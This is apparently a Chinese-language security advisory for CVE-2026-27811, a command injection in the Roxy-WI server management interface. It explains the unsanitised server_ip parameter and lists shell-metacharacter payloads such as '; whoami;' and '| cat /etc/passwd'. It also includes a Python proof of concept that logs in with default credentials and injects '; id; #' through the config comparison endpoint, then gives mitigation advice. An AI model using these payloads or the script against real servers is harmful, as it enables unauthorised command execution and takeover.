IPBUF安全漏洞报告
English
CVE-2026-27811 CVSS 8.8 高危

CVE-2026-27811 Roxy-WI命令注入漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-27811
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Roxy-WI

相关标签

命令注入Roxy-WICVE-2026-27811远程代码执行高危漏洞Web安全Haproxy管理界面

漏洞概述

CVE-2026-27811是Roxy-WI中一个严重的命令注入漏洞。Roxy-WI是一款开源的Web管理界面,用于集中管理Haproxy、Nginx、Apache和Keepalived等服务器。该漏洞存在于8.2.6.3之前的版本中,攻击者可以通过访问特定的API端点,利用未经过滤的用户输入在服务器上执行任意系统命令。漏洞的根本原因在于`app/modules/config/config.py`文件第362行,开发者直接将用户可控的参数格式化到命令字符串中,而没有进行任何输入验证或命令转义处理。由于该漏洞需要认证才能利用,因此攻击者需要具备低权限用户账户,但一旦成功利用,攻击者可以完全控制目标服务器,执行任意代码、安装后门或窃取敏感数据。此漏洞的CVSS评分为8.8,属于高危级别,对系统机密性、完整性和可用性都造成严重影响。建议所有使用受影响版本的用户立即升级到8.2.6.3或更高版本。

技术细节

该命令注入漏洞的技术根源在于Roxy-WI的`/config/compare/<service>/<server_ip>/show`端点存在不安全的输入处理。在`app/modules/config/config.py`的第362行,代码直接将URL路径参数`<server_ip>`的值拼接到用于执行系统命令的模板字符串中。由于缺少对特殊字符的过滤和转义,攻击者可以通过在`server_ip`参数中注入分号、管道符或反引号等shell元字符来执行额外命令。例如,攻击者可以构造类似`; whoami;`的payload来在服务器上执行系统命令。漏洞的利用前提是攻击者拥有一个有效的低权限用户账户,但许多部署环境中默认账户或测试账户可能仍然存在,这大大降低了攻击门槛。成功利用此漏洞后,攻击者可以在web服务的运行权限下执行任意系统命令,从而实现对服务器的完全控制。

攻击链分析

STEP 1
步骤1
攻击者获取Roxy-WI的低权限用户账户(通过默认凭据、暴力破解或社工手段)
STEP 2
步骤2
使用获取的凭据登录Roxy-WI Web界面,建立认证会话
STEP 3
步骤3
构造恶意请求,访问/config/compare/<service>/<server_ip>/show端点
STEP 4
步骤4
在server_ip参数中注入shell命令payload(如; whoami;或| cat /etc/passwd)
STEP 5
步骤5
服务器将注入的命令与原始命令拼接后执行,攻击者获得命令执行结果
STEP 6
步骤6
攻击者利用命令执行能力进一步渗透,如反弹shell、上传后门或窃取数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-27811 Roxy-WI Command Injection PoC import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://target:8000" username = "admin" password = "admin" # Login to get session session = requests.Session() login_data = {"username": username, "password": password} resp = session.post(f"{target}/login", data=login_data) if resp.status_code != 200: print("[-] Login failed") exit(1) # Command injection payload - inject 'id' command service = "haproxy" injected_ip = "; id; #" # Command injection payload url = f"{target}/config/compare/{service}/{injected_ip}/show" print(f"[*] Sending payload to: {url}") response = session.get(url) print(f"[*] Status: {response.status_code}") print(f"[*] Response preview: {response.text[:500]}")

影响范围

Roxy-WI < 8.2.6.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用或限制/config/compare端点的访问,仅允许受信任的管理IP访问;2) 在Web应用防火墙(WAF)层面添加规则,检测并阻止包含shell元字符(;、|、`、$、()等)的请求;3) 监视和记录所有对配置比较功能的访问日志,及时发现异常攻击行为;4) 考虑临时使用反向代理限制对Roxy-WI的直接访问。但最根本的解决方案仍是升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表